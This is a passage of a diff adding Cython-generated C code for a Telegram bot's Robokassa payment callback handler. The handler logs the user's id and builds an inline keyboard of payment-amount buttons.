__pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_callback_pay_robokassa", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa *)__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa(__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 65, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + __pyx_cur_scope->__pyx_v_session = __pyx_v_session; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_session); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_session); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13robokassa_pay_4generator, __pyx_codeobj__2, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_callback_pay_robokassa, __pyx_n_s_process_callback_pay_robokassa, __pyx_n_s_handlers_payments_robokassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 65, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.robokassa_pay.process_callback_pay_robokassa", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13robokassa_pay_4generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + Py_ssize_t __pyx_t_4; + Py_UCS4 __pyx_t_5; + PyObject *__pyx_t_6 = NULL; + unsigned int __pyx_t_7; + PyObject *(*__pyx_t_8)(PyObject *); + Py_ssize_t __pyx_t_9; + int __pyx_t_10; + PyObject *__pyx_t_11 = NULL; + PyObject *__pyx_t_12 = NULL; + PyObject *__pyx_t_13 = NULL; + PyObject *__pyx_t_14 = NULL; + PyObject *__pyx_t_15 = NULL; + int __pyx_t_16; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_callback_pay_robokassa", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L8_resume_from_await; + case 2: goto __pyx_L10_resume_from_await; + case 3: goto __pyx_L12_resume_from_await; + case 4: goto __pyx_L13_resume_from_await; + case 5: goto __pyx_L14_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 65, __pyx_L1_error) + + /* "handlers/payments/robokassa_pay.py":69 + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + * ): + * tg_id = callback_query.message.chat.id # <<<<<<<<<<<<<< + * logger.info(f"User {tg_id} initiated Robokassa payment.") + * + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 69, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_chat); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 69, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_id); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 69, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_tg_id = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":70 + * ): + * tg_id = callback_query.message.chat.id + * logger.info(f"User {tg_id} initiated Robokassa payment.") # <<<<<<<<<<<<<< + * + * builder = InlineKeyboardBuilder() + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_info); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_4 = 0; + __pyx_t_5 = 127; + __Pyx_INCREF(__pyx_kp_u_User); + __pyx_t_4 += 5; + __Pyx_GIVEREF(__pyx_kp_u_User); + PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u_User); + __pyx_t_6 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_5 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) > __pyx_t_5) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) : __pyx_t_5; + __pyx_t_4 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_6); + __Pyx_GIVEREF(__pyx_t_6); + PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_6); + __pyx_t_6 = 0; + __Pyx_INCREF(__pyx_kp_u_initiated_Robokassa_payment); + __pyx_t_4 += 29; + __Pyx_GIVEREF(__pyx_kp_u_initiated_Robokassa_payment); + PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u_initiated_Robokassa_payment); + __pyx_t_6 = __Pyx_PyUnicode_Join(__pyx_t_2, 3, __pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_6}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":72 + * logger.info(f"User {tg_id} initiated Robokassa payment.") + * + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 72, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 72, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":73 + * + * builder = InlineKeyboardBuilder() + * for i in range(0, len(PAYMENT_OPTIONS), 2): # <<<<<<<<<<<<<< + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_4 = PyObject_Length(__pyx_t_1); if (unlikely(__pyx_t_4 == ((Py_ssize_t)-1))) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = PyInt_FromSsize_t(__pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = PyTuple_New(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_int_0); + __Pyx_GIVEREF(__pyx_int_0); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_int_0)) __PYX_ERR(0, 73, __pyx_L1_error); + __Pyx_GIVEREF(__pyx_t_1); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_3, 1, __pyx_t_1)) __PYX_ERR(0, 73, __pyx_L1_error); + __Pyx_INCREF(__pyx_int_2); + __Pyx_GIVEREF(__pyx_int_2); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_3, 2, __pyx_int_2)) __PYX_ERR(0, 73, __pyx_L1_error); + __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_builtin_range, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (likely(PyList_CheckExact(__pyx_t_1)) || PyTuple_CheckExact(__pyx_t_1)) { + __pyx_t_3 = __pyx_t_1; __Pyx_INCREF(__pyx_t_3); + __pyx_t_4 = 0; + __pyx_t_8 = NULL; + } else { + __pyx_t_4 = -1; __pyx_t_3 = PyObject_GetIter(__pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_8 = __Pyx_PyObject_GetIterNextFunc(__pyx_t_3); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 73, __pyx_L1_error) + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + for (;;) { + if (likely(!__pyx_t_8)) { + if (likely(PyList_CheckExact(__pyx_t_3))) { + { + Py_ssize_t __pyx_temp = __Pyx_PyList_GET_SIZE(__pyx_t_3); + #if !CYTHON_ASSUME_SAFE_MACROS + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 73, __pyx_L1_error) + #endif + if (__pyx_t_4 >= __pyx_temp) break; + } + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + __pyx_t_1 = PyList_GET_ITEM(__pyx_t_3, __pyx_t_4); __Pyx_INCREF(__pyx_t_1); __pyx_t_4++; if (unlikely((0 < 0))) __PYX_ERR(0, 73, __pyx_L1_error) + #else + __pyx_t_1 = __Pyx_PySequence_ITEM(__pyx_t_3, __pyx_t_4); __pyx_t_4++; if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + #endif + } else { + { + Py_ssize_t __pyx_temp = __Pyx_PyTuple_GET_SIZE(__pyx_t_3); + #if !CYTHON_ASSUME_SAFE_MACROS + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 73, __pyx_L1_error) + #endif + if (__pyx_t_4 >= __pyx_temp) break; + } + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + __pyx_t_1 = PyTuple_GET_ITEM(__pyx_t_3, __pyx_t_4); __Pyx_INCREF(__pyx_t_1); __pyx_t_4++; if (unlikely((0 < 0))) __PYX_ERR(0, 73, __pyx_L1_error) + #else + __pyx_t_1 = __Pyx_PySequence_ITEM(__pyx_t_3, __pyx_t_4); __pyx_t_4++; if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + #endif + } + } else { + __pyx_t_1 = __pyx_t_8(__pyx_t_3); + if (unlikely(!__pyx_t_1)) { + PyObject* exc_type = PyErr_Occurred(); + if (exc_type) { + if (likely(__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); + else __PYX_ERR(0, 73, __pyx_L1_error) + } + break; + } + __Pyx_GOTREF(__pyx_t_1); + } + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_i); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_i, __pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":74 + * builder = InlineKeyboardBuilder() + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): # <<<<<<<<<<<<<< + * builder.row( + * InlineKeyboardButton( + */ + __pyx_t_1 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_9 = PyObject_Length(__pyx_t_6); if (unlikely(__pyx_t_9 == ((Py_ssize_t)-1))) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = PyInt_FromSsize_t(__pyx_t_9); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_2 = PyObject_RichCompare(__pyx_t_1, __pyx_t_6, Py_LT); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_10 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely((__pyx_t_10 < 0))) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (__pyx_t_10) { + + /* "handlers/payments/robokassa_pay.py":75 + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + */ + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + + /* "handlers/payments/robokassa_pay.py":76 + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'robokassa_amount|{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 76, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/robokassa_pay.py":77 + * builder.row( + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], # <<<<<<<<<<<<<< + * callback_data=f'robokassa_amount|{PAYMENT_OPTIONS[i]["callback_data"]}', + * ), + */ + __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __pyx_t_13 = __Pyx_PyObject_GetItem(__pyx_t_12, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = __Pyx_PyObject_Dict_GetItem(__pyx_t_13, __pyx_n_u_text); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_t_12) < 0) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + + /* "handlers/payments/robokassa_pay.py":78 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'robokassa_amount|{PAYMENT_OPTIONS[i]["callback_data"]}', # <<<<<<<<<<<<<< + * ), + * InlineKeyboardButton( + */ + __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 78, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __pyx_t_13 = __Pyx_PyObject_GetItem(__pyx_t_12, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 78, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = __Pyx_PyObject_Dict_GetItem(__pyx_t_13, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 78, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = __Pyx_PyObject_FormatSimple(__pyx_t_12, __pyx_empty_unicode); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 78, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = __Pyx_PyUnicode_Concat(__pyx_kp_u_robokassa_amount, __pyx_t_13); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 78, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_callback_data, __pyx_t_12) < 0) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + + /* "handlers/payments/robokassa_pay.py":76 + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'robokassa_amount|{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __pyx_t_12 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 76, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + /* "handlers/payments/robokassa_pay.py":80 + * callback_data=f'robokassa_amount|{PAYMENT_OPTIONS[i]["callback_data"]}', + * ), + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'robokassa_amount|{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + */ + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + + /* "handlers/payments/robokassa_pay.py":81 + * ), + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i + 1]["text"], # <<<<<<<<<<<<<< + * callback_data=f'robokassa_amount|{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + * ), + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 81, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 81, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_14 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 81, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_15 = __Pyx_PyObject_GetItem(__pyx_t_13, __pyx_t_14); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 81, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_15); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = __Pyx_PyObject_Dict_GetItem(__pyx_t_15, __pyx_n_u_text); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 81, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_t_14) < 0) __PYX_ERR(0, 81, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + + /* "handlers/payments/robokassa_pay.py":82 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'robokassa_amount|{PAYMENT_OPTIONS[i + 1]["callback_data"]}', # <<<<<<<<<<<<<< + * ), + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_15 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_15); + __pyx_t_13 = __Pyx_PyObject_GetItem(__pyx_t_14, __pyx_t_15); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + __pyx_t_15 = __Pyx_PyObject_Dict_GetItem(__pyx_t_13, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_15); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = __Pyx_PyObject_FormatSimple(__pyx_t_15, __pyx_empty_unicode); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + __pyx_t_15 = __Pyx_PyUnicode_Concat(__pyx_kp_u_robokassa_amount, __pyx_t_13); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_15); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_callback_data, __pyx_t_15) < 0) __PYX_ERR(0, 81, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + + /* "handlers/payments/robokassa_pay.py":80 + * callback_data=f'robokassa_amount|{PAYMENT_OPTIONS[i]["callback_data"]}', + * ), + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'robokassa_amount|{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + */ + __pyx_t_15 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_15); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_1, __pyx_t_12, __pyx_t_15}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 2+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/robokassa_pay.py":74 + * builder = InlineKeyboardBuilder() + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): # <<<<<<<<<<<<<< + * builder.row( + * InlineKeyboardButton( + */ + goto __pyx_L6; + } + + /* "handlers/payments/robokassa_pay.py":86 + * ) + * else: + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + */ + /*else*/ { + __pyx_t_6 = 